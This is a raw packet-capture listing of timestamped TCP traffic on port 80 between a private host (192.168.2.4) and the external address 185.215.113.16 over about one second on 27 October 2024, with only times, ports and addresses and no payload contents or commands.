Oct 27, 2024 02:03:18.503205061 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.503230095 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.503257990 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.503261089 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.503271103 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.503281116 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.503329039 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.553646088 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.577867985 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.577879906 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.577893972 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.577944040 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.578092098 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.578139067 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.578140020 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.578155041 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.578166962 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.578177929 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.578191996 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.578224897 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.578588009 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.578653097 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.578727961 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.578730106 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.578778982 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.578788996 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.578799963 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.578917027 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.579233885 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.579291105 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.579308033 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.579339027 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.579359055 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.579370022 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.579406977 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.622035980 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.622046947 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.622056007 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.622064114 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.622072935 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.622208118 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.622208118 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.696439028 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.696450949 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.696458101 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.696671009 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.696770906 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.696789026 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.696799040 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.696839094 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.696861029 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.696870089 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.696871996 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.696928978 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.697165966 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.697176933 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.697187901 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.697223902 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.697484016 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.697494984 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.697504997 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.697515965 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.697535992 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.697566986 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.697921038 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.697972059 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.697973967 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.740600109 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.740611076 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.740617037 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.740627050 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.740744114 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.740752935 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.740750074 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.740824938 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.740824938 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.740935087 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.740946054 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.740951061 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.740956068 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.741203070 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.815048933 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.815058947 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.815068007 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.815186024 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.815196991 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.815206051 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.815247059 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.815308094 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.815412998 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.815431118 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.815439939 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.815520048 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.815805912 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.815817118 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.815828085 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.815839052 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.815860033 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.815891981 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.816243887 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.816255093 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.816265106 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.816276073 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.816298962 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.816329002 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.859168053 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.859177113 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.859188080 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.859216928 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.859247923 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.859247923 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.859491110 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.859502077 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.859518051 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.859529018 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.859541893 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.859575033 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.859837055 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.859848022 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.859858990 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.859869003 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.859884024 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.859913111 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.933619022 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.933630943 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.933640003 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.933796883 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.933813095 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.933829069 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.933840036 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.933861017 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.933892012 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.934020996 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.934031010 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.934040070 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.934082985 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.934281111 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.934325933 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.934330940 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.934340000 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.934382915 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.934614897 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.934653997 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.934662104 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.934691906 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.975498915 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.977746964 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.977761984 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.977813959 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.977845907 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.977855921 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.977864981 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.977874041 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.977895021 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.977895975 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.977905035 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.977915049 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.977915049 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.977957010 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.978789091 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.978852987 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.978862047 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.978938103 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.978948116 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.978956938 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.978965998 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.978986979 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.979017019 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.052215099 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.052227974 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.052237988 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.052325964 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.052931070 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.052999973 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.053025961 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.053045988 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.053064108 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.053075075 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.053075075 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.053086996 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.053107023 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.053116083 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.053160906 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.053360939 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.053385973 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.053402901 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.053428888 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.096385002 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.096438885 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.096452951 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.096484900 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.096513987 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.096533060 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.096534967 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.096534967 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.096548080 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.096566916 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.096579075 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.096601963 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.097290993 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.097310066 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.097327948 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.097342968 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.097348928 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.097369909 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.097666025 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.097708941 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.097718954 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.097735882 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.097748041 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.097779036 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.147377014 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.170815945 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.170850039 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.170859098 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.170869112 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.170906067 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.170942068 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.170991898 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.171060085 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.171099901 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.171148062 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.171195984 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.171243906 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.171386957 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.171405077 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.171415091 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.171452045 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.171797037 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.171807051 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.171817064 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.171848059 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.171873093 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.171961069 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.171972036 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.171981096 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.172008038 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.214907885 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.214919090 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.214941025 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.214948893 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.214984894 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.215025902 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.231827021 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.231836081 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.231846094 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.231858969 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.231868029 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.231877089 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.231882095 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.231885910 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.231889009 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.231895924 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.231904984 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.231914043 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.231919050 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.231923103 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.231936932 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.231949091 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.231969118 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.257179976 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.257189035 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.257339001 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.289436102 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.289446115 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.289453983 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.289501905 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.289566040 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.289576054 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.289585114 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.289609909 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.289638042 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.289887905 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.289932013 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.289979935 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.290009022 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.290018082 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.290056944 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.290182114 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.290199041 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.290206909 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.290230036 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.290488005 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.290498018 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.290507078 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.290529966 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.290544033 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.333802938 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.333813906 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.333822966 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.333827972 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.333848953 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.333858967 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.333868027 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.333981991 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.334280968 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.334305048 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.334316969 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.334330082 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.334557056 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.334574938 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.334575891 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.334604025 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.334644079 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.345172882 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.345190048 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.345205069 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.345243931 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.345283985 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.408155918 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.408178091 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.408196926 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.408217907 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.408222914 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.408271074 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.408351898 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.408430099 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.408503056 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.408518076 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.408571005 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.408616066 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.408677101 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.408687115 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.408696890 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.408726931 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.409024000 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.409034967 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.409044027 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.409054995 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.409074068 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.409101963 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.409461975 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.409478903 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.409487963 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.409507036 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.409535885 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.452233076 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.452315092 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.452323914 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.452333927 CET	80	49738	185.215.113.16	192.168.2.4
